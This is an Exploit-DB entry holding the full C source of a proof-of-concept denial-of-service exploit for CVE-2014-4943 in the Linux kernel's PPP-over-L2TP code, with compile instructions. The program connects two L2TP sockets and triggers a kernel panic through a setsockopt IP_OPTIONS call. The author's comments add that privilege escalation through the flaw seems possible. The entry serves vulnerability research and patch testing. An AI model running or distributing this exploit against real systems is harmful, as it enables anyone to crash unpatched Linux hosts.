Exploit-DB #36267
Description: Linux Kernel 3.15.6 - PPP-over-L2TP Socket Level Handling Crash (PoC)
Type: dos
Platform: linux
Date: 2015-03-04
Author: Emeric Nasi

Exploit:
/* ----------------------------------------------------------------------------------------------------
 * cve-2014-4943_poc.c
 * 
 * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure 
 * differences between an l2tp socket and an inet socket. 
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges.
 * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland.
 * If seems guys at immunuty found a way using race condition.
 *
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c  
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
 

 
/* -----------------------   Includes ----------------------------*/

#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/net.h>
#include <linux/udp.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <linux/if_pppol2tp.h>


/* -----------------------   Definitions ----------------------------*/

#define TARGET_KERNEL_MIN "3.2.0"
#define TARGET_KERNEL_MAX "3.15.6"
#define EXPLOIT_NAME "cve-2014-4943"



/* -----------------------   functions ----------------------------*/


/**
 * It is possible to modify several parts of socket object using IP options frop UDP setsockopt
 * For this POC, IP_OPTIONS is the easiest way to panic kernel
 */
void modifyUDPvalues(int tunnel_fd)
{
/* Extract from kernel code which is vulnerable, here you can see that both udp_setsockopt and ip_setsockopt (on inet_sock) can be used to leverage vulnerability:
  
 int udp_setsockopt(struct sock *sk, int level, int optname,
                    char __user *optval, unsigned int optlen)
 {
         if (level == SOL_UDP  ||  level == SOL_UDPLITE)
                 return udp_lib_setsockopt(sk, level, optname, optval, optlen,
                                           udp_push_pending_frames);
         return ip_setsockopt(sk, level, optname, optval, optlen);
 }
*/
  
  int ip_options = 0x1;
     
  if (setsockopt(tunnel_fd, SOL_IP,  IP_OPTIONS, &ip_options, 20) == -1) 
    {
        perror("setsockopt (IP_OPTIONS)");   
    }
}


/**
 * DOS poc for cve_2014_4943 vulnerability
 */
int main()
{

  int tunnel_fd;
  int tunnel_fd2;
  int udp_fd;

  printf("[cve_2014_4943]: Preparing to exploit.\n");

  /* Create first L2TP socket */
  tunnel_fd = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);
  if (tunnel_fd < 0)
  {
    perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)");
    return -1;
  }
  /* Create second L2TP socket */
  tunnel_fd2 = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);
  if (tunnel_fd2 < 0)
  {
    perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)");
    return -1;
  }
  if ((udp_fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) 
  {
    perror("cannot create socket"); 
    return -1; 
  }
  
  /* Connect LT2P socket */
  struct sockaddr_pppol2tp sax;

  memset(&sax, 0, sizeof(sax));
  sax.sa_family = AF_PPPOX;
  sax.sa_protocol = PX_PROTO_OL2TP;
  sax.pppol2tp.fd = udp_fd;       /* fd of tunnel UDP socket */
  sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);// peer_addr->sin_addr.s_addr;
  sax.pppol2tp.addr.sin_port = htons(1337);//peer_addr->sin_port;
  sax.pppol2tp.addr.sin_family = AF_INET;
  sax.pppol2tp.s_tunnel = 8;//tunnel_id;
  sax.pppol2tp.s_session = 0;     /* special case: mgmt socket */
  sax.pppol2tp.d_tunnel = 0;
  sax.pppol2tp.d_session = 0;     /* special case: mgmt socket */

  if(connect(tunnel_fd, (struct sockaddr *)&sax, sizeof(sax) ) < 0 )
  {
    perror("connect failed");
  }
  
  /* Connect LT2P socket */
  struct sockaddr_pppol2tp sax2;

  memset(&sax, 0, sizeof(sax2));
  sax2.sa_family = AF_PPPOX;
  sax2.sa_protocol = PX_PROTO_OL2TP;
  sax2.pppol2tp.s_tunnel = 8;//tunnel_id;
  sax2.pppol2tp.s_session = 1;     
  sax2.pppol2tp.d_tunnel = 0;
  sax2.pppol2tp.d_session = 1;     

  if(connect(tunnel_fd2, (struct sockaddr *)&sax2, sizeof(sax2) ) < 0 )
  {
    perror("connect failed");
  }
  
  
  /*
     * Entering critical part
     */
    printf("[cve_2014_4943]:  Panic!\n");
  
  //modifyUDPvalues(tunnel_fd);
  modifyUDPvalues(tunnel_fd2);

  
  // close opened socket  
  puts("\n [+] Closing sockets...");
  close(tunnel_fd);
  close(tunnel_fd2);
    
  exit(0);
}